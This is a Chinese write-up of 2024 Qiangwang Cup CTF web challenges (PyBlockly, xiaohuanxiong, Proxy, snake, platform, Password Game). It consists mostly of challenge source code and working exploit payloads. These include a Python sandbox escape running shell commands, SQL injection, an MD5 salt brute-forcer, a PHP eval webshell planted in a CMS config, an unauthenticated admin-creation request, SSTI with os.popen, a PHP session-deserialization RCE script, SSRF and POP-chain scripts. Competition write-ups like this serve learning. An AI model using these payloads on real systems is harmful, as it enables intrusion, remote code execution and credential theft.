24强网

PyBlockly

题目源码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
from flask import Flask, request, jsonify
import re
import unidecode
import string
import ast
import sys
import os
import subprocess
import importlib.util
import json

app = Flask(__name__)
app.config['JSON_AS_ASCII'] = False

blacklist_pattern = r"[!\"#$%&'()*+,-./:;<=>?@[\\\]^_`{|}~]"

def module_exists(module_name):

spec = importlib.util.find_spec(module_name)
if spec is None:
return False

if module_name in sys.builtin_module_names:
return True

if spec.origin:
std_lib_path = os.path.dirname(os.__file__)

if spec.origin.startswith(std_lib_path) and not spec.origin.startswith(os.getcwd()):
return True
return False

def verify_secure(m):
for node in ast.walk(m):
match type(node):
case ast.Import:
print("ERROR: Banned module ")
return False
case ast.ImportFrom:
print(f"ERROR: Banned module {node.module}")
return False
return True

def check_for_blacklisted_symbols(input_text):
if re.search(blacklist_pattern, input_text):
print('black_list over.', re.search(blacklist_pattern, input_text))
return True
else:
print('black_list detected.', re.search(blacklist_pattern, input_text))
return False



def block_to_python(block):
block_type = block['type']
code = ''

if block_type == 'print':
text_block = block['inputs']['TEXT']['block']
text = block_to_python(text_block)
code = f"print({text})"

elif block_type == 'math_number':

if str(block['fields']['NUM']).isdigit():
code = int(block['fields']['NUM'])
else:
code = ''
elif block_type == 'text':
if check_for_blacklisted_symbols(block['fields']['TEXT']):
code = ''
else:

code = "'" + unidecode.unidecode(block['fields']['TEXT']) + "'"
elif block_type == 'max':

a_block = block['inputs']['A']['block']
b_block = block['inputs']['B']['block']
a = block_to_python(a_block)
b = block_to_python(b_block)
code = f"max({a}, {b})"

elif block_type == 'min':
a_block = block['inputs']['A']['block']
b_block = block['inputs']['B']['block']
a = block_to_python(a_block)
b = block_to_python(b_block)
code = f"min({a}, {b})"

if 'next' in block:

block = block['next']['block']

code +="\n" + block_to_python(block)+ "\n"
else:
return code
return code

def json_to_python(blockly_data):
block = blockly_data['blocks']['blocks'][0]

python_code = ""
python_code += block_to_python(block) + "\n"


return python_code

def do(source_code):
hook_code = '''
def my_audit_hook(event_name, arg):
blacklist = ["popen", "input", "eval", "exec", "compile", "memoryview"]
if len(event_name) > 4:
raise RuntimeError("Too Long!")
for bad in blacklist:
if bad in event_name:
raise RuntimeError("No!")

__import__('sys').addaudithook(my_audit_hook)

'''
print('do!')
print('Source code: ',source_code)
code = hook_code + source_code
tree = compile(source_code, "run.py", 'exec', flags=ast.PyCF_ONLY_AST)
try:
if verify_secure(tree):
with open("run.py", 'w') as f:
f.write(code)
result = subprocess.run(['python', 'run.py'], stdout=subprocess.PIPE, timeout=5).stdout.decode("utf-8")
os.remove('run.py')
return result
else:
return "Execution aborted due to security concerns."
except:
os.remove('run.py')
return "Timeout!"

@app.route('/')
def index():
return app.send_static_file('index.html')

@app.route('/blockly_json', methods=['POST'])
def blockly_json():
blockly_data = request.get_data()
print(type(blockly_data))
blockly_data = json.loads(blockly_data.decode('utf-8'))
print(blockly_data)
try:
python_code = json_to_python(blockly_data)
print(python_code)
return do(python_code)
except Exception as e:
return jsonify({"error": "Error generating Python code", "details": str(e)})

if __name__ == '__main__':
app.run(host = '0.0.0.0')


漏洞点

1
2
unidecode.unidecode
将所有 Unicode 字符(尤其是非 ASCII 字符)转换成可打印的、没有重音符号或特殊符号的 ASCII 字符

dd if=/flag,它意味着你试图将 /flag 文件的数据拷贝到标准输出

逃逸字符串

1
code =  "'" + unidecode.unidecode(block['fields']['TEXT']) + "'"

将len函数替换成匿名函数使其永远返回 1

法一

ssti,全字符绕过

1
__import__("os").system("$(printf '\144\144\40\151\146\75\57\146\154\141\147')")

利用$()执行内容来输出

cat tac nl没有,用dd可以

dd if=/flag

然后再对这些内容使用全角,绕过黑名单。

最终payload:

1
2
{"blocks":{"blocks":[{"type":"text","fields":{"TEXT":"';__import__("builtins").len=lambda a:1;'';__import__("os").system("$(printf '\144\144\40\151\146\75\57\146\154\141\147');   ");'"}
}]}}

法二

跟法二差不多

1
2
3
{"blocks":{"blocks":[{"type":"text","fields":{"TEXT":"‘\n__import__(”builtins”)。len=lambda a:1;__import__(‘os’)。system(‘ls$IFS$9/’)#"},"inputs":{}}]}}

'\n__import__("builtins").len=lambda a: 1;__import__('os').system('ls$IFS$9/') #

法三

dd if=/flag写入到1.py,第二次发包利用run.py执行1.py

写文件

读取/flag写入1.py

1
open(bytes. fromhex('312e7079'). decode(),'wb'). write(bytes. fromhex('696d706f7274206f730a0a7072696e74286f732e706f70656e282764642069663d2f666c616727292e72656164282929'))
1
__import__('1')

法四

多线程竞争

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
import requests
import json
import threading

url = "http://eci-2zedptpxwuwj344tkegy.cloudeci1.ichunqiu.com:5000"

data = {
"blocks": {
"blocks": [
{
"type": "print",
"x": 101,
"y": 102,
"inputs": {
"TEXT": {
"block": {
"type": "max",
"inputs": {
"A": {
"block": {
"type": "text",
"fields": {"TEXT": "‘,‘’))\n(open(bytes。fromhex(’72756e2e7079‘)。decode(),’wb‘)。write(bytes。fromhex(’696d706f7274206f730a0a7072696e74286f732e706f70656e282764642069663d2f666c616727292e72656164282929‘)))\n\nprint(print(’1"}
}
},
"B": {
"block": {
"type": "math_number",
"fields": {"NUM": 10}
}
}
}
}
}
}
}
]
}
}

def send_request():
while True:
r = requests.post(url + "/blockly_json",
headers={"Content-Type": "application/json"}, data=json.dumps(data))
text = r.text
if "1 10" not in text and "No such file or direct" not in text and len(text) > 10:
print(text)
os.exit(-1)
break

threads = []
num_threads = 100

for _ in range(num_threads):
thread = threading.Thread(target=send_request)
threads.append(thread)
thread.start()

for thread in threads:
thread.join()

xiaohuanxiong

源码审计,需从网上下源码;正确源码地址

1
git clone https://github.com/forkable/xiaohuanxiong.git

漏洞点

法一

漏洞源码如下↓

1
2
3
4
5
6
7
8
9
$books = $this->bookService->search($keyword, $num);

public function search($keyword, $num)
{
return Db::query(
"select * from " . $this->prefix . "book where delete_time=0 and match(book_name,summary,author_name,nick_name)
against ('" . $keyword . "' IN NATURAL LANGUAGE MODE) LIMIT " . $num
);

search 传 keyword 直接就有 sql 注入

1
?keyword=0') or updatexml(1,concat(0x7e,(SELECT GROUP_CONCAT(table_name) FROM information_schema.tables)),3) # 

sqlmap进入之后注册无密码用户,查询其hex值在cmd5解密出salt

利用salt和admin的密码hex取爆破密码;然后后台写码

1
?url=‘}+@eval($_POST[1])+{’

爆破hex密码脚本↓

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
import hashlib
import itertools

salt = 'bf3a27'
target_hash = 'cd68b9fa89089351c31f248f7a321583'
chars = '0123456789abcdef'
max_length = 6

for length in range(1, max_length + 1):
for password_tuple in itertools.product(chars, repeat=length):
password = ''.join(password_tuple)
hash_attempt = hashlib.md5((password + salt).encode()).hexdigest()
if hash_attempt == target_hash:
print(f'Found password: {password}')
break

法二

后端有伪静态标识

1
2
// URL伪静态后缀
'url_html_suffix' => 'html',
1
2
3
4
5
6
7
8
class Admins extends BaseAdmin
{
protected $adminService;
protected function initialize()
{
$this->adminService = new AdminService();
}

public function save(Request $request){
    $data = $request->param();
    $admin = Admin::where('username','=',trim($data['username']))->find();
    if ($admin){
        $this->error('存在同名账号');
    }else{
        $admin = new Admin();
        $admin->username = $data['username'];
        $admin->password = md5(strtolower(trim($data['password'])).config('site.salt'));
        $admin->save();
        $this->success('新增管理员成功');
    }
}

/install之后正常进前端,dir扫一下有admin管理登陆,尝试不能正常登入,御剑扫到/admin/Admins越权进入管理后台,这里可以添加管理员,然后正常登陆管理界面在支付管理页面可以修改php代码

1
payload: admin/admins/save.html Post:username=admin1&password=123456

法三

/admin/Payment/index存在任意文件上传

pickle_jail

1
https://www.woodwhale.cn/2024-qwb-misc-pickle-jail-wp/#jie-ti-si-lu

Proxy

go语言源码审计;是ssrf

main.go

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
package main

import (
"bytes"
"io"
"net/http"
"os/exec"

"github.com/gin-gonic/gin"
)

type ProxyRequest struct {
URL string `json:"url" binding:"required"`
Method string `json:"method" binding:"required"`
Body string `json:"body"`
Headers map[string]string `json:"headers"`
FollowRedirects bool `json:"follow_redirects"`
}

func main() {
r := gin.Default()

v1 := r.Group("/v1")
{
v1.POST("/api/flag", func(c *gin.Context) {
cmd := exec.Command("/readflag")
flag, err := cmd.CombinedOutput()
if err != nil {
c.JSON(http.StatusInternalServerError, gin.H{"status": "error", "message": "Internal Server Error"})
return
}
c.JSON(http.StatusOK, gin.H{"flag": flag})
})
}

v2 := r.Group("/v2")
{
v2.POST("/api/proxy", func(c *gin.Context) {
var proxyRequest ProxyRequest
if err := c.ShouldBindJSON(&proxyRequest); err != nil {
c.JSON(http.StatusBadRequest, gin.H{"status": "error", "message": "Invalid request"})
return
}

client := &http.Client{
CheckRedirect: func(req *http.Request, via []*http.Request) error {
if !req.URL.IsAbs() {
return http.ErrUseLastResponse
}

if !proxyRequest.FollowRedirects {
return http.ErrUseLastResponse
}

return nil
},
}

req, err := http.NewRequest(proxyRequest.Method, proxyRequest.URL, bytes.NewReader([]byte(proxyRequest.Body)))
if err != nil {
c.JSON(http.StatusInternalServerError, gin.H{"status": "error", "message": "Internal Server Error"})
return
}

for key, value := range proxyRequest.Headers {
req.Header.Set(key, value)
}

resp, err := client.Do(req)

if err != nil {
c.JSON(http.StatusInternalServerError, gin.H{"status": "error", "message": "Internal Server Error"})
return
}

defer resp.Body.Close()

body, err := io.ReadAll(resp.Body)
if err != nil {
c.JSON(http.StatusInternalServerError, gin.H{"status": "error", "message": "Internal Server Error"})
return
}

c.Status(resp.StatusCode)
for key, value := range resp.Header {
c.Header(key, value[0])
}

c.Writer.Write(body)
c.Abort()
})
}

r.Run("127.0.0.1:8769")
}

payload

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
import requests
import json

url = "http://47.93.99.173:24678/v2/api/proxy"

headers = {
"Content-Type": "application/json",
}

data = {
"url": "http://localhost:8769/v1/api/flag",
"method": "POST",
"body": "",
"headers": {},
"follow_redirects": False,
}

response = requests.post(url, headers=headers, data=json.dumps(data))

print(response.text)

snake

第一关js

第二关sql注入+ssti

1
1' union select 1,2,"{{lipsum.__globals__.__builtins__.eval('__import__(\'os\').popen(\'cat /flag\').read()')}}"--%20

platform

session反序列化

class。php处

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
<?php
class notouchitsclass {
public $data;

public function __construct($data) {
$this->data = $data;
}

public function __destruct() {
eval($this->data);
}
}

$exp=new notouchitsclass(1);
#$exp->data='system($_GET[cmd])';//被过滤需要绕过
$exp->data='("sy"."stem")($_GET[cmd]);';
echo serialize($exp);
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
import requests
url = " http://eci-2ze3vvqmif956xeljg9p.cloudeci1.ichunqiu.com/"
params = {
#'cmd': "ls"
#'cmd': "cat flag" #未找到
'cmd': "/readflag"
}

data = {
'username': 'execexecexecexecexecexecexecexecexecexecexecexecexece',
'password': ';session_key|O:15:"notouchitsclass":1:{s:4:"data";s:26:"("sy"."stem")($_GET[cmd]);";}password|s:6:"orange'
}
while True:
r = requests.session()
response1 = r.post(url + '/index.php', data=data, verify=False, allow_redirects=False)
response2 = r.post(url + '/index.php', data=data, verify=False, allow_redirects=False)
response3 = r.post(url + '/dashboard.php', params=params, verify=False, allow_redirects=False)

if "flag" in response3.text:
print(response3.text)
print(r.cookies)
r.close()

Password Game

反序列化

源码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
function filter($password){
    $filter_arr = array("admin","2024qwb");
    $filter = '/'.implode("|",$filter_arr).'/i';
    return preg_replace($filter,"nonono",$password);
}
class guest{
    public $username;
    public $value;
    public function __tostring(){
        if($this->username=="guest"){
            $value();
        }
        return $this->username;
    }
    public function __call($key,$value){
        if($this->username==md5($GLOBALS["flag"])){
            echo $GLOBALS["flag"];
        }
    }
}
class root{
    public $username;
    public $value;
    public function __get($key){
        if(strpos($this->username, "admin") == 0 && $this->value == "2024qwb"){
            $this->value = $GLOBALS["flag"];
            echo md5("hello:".$this->value);
        }
    }
}
class user{
    public $username;
    public $password;
    public $value;
    public function __invoke(){
        $this->username=md5($GLOBALS["flag"]);
        return $this->password->guess();
    }
    public function __destruct(){
        if(strpos($this->username, "admin") == 0 ){
            echo "hello".$this->username;
        }
    }
}
$user=unserialize(filter($_POST["password"]));
if(strpos($user->username, "admin") == 0 && $user->password == "2024qwb"){
    echo "hello!";
}

法一

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
<?php
class root{
public $username;
public $value=2024;
public $gxngxngxn;
}
class user{
public $username;
public $password;
}

$exp = new root();
$exp->gxngxngxn=new user();
$exp->gxngxngxn->username=&$exp->value;
echo serialize($exp);

法二

直接构造,手动修改

1
2
3
4
5
6
7
8
9
10
11
12
$obj = new root();
$g1 = new guest();
$g1->username = "admin";
$obj->username = $g1;
$u1 = new user();
$u1->username = "2024qwb";
$g1->value = $u1;
$obj->value = &$u1->username;

echo "\n";
echo serialize($obj);
echo "\n";

image-20241226092250519

参考

1
https://blog.csdn.net/GKD2019/article/details/143496496
1
https://0ran9e.fun/2024/11/04/%E5%BC%BA%E7%BD%91%E6%9D%AF/%E5%BC%BA%E7%BD%91%E6%9D%AF2024%E5%88%9D%E8%B5%9B/#xiaohuanxiong
1
https://mp.weixin.qq.com/s/vV_II8TpyaGL4HUlUS57RQ
1
https://www.cnblogs.com/gxngxngxn/p/18525365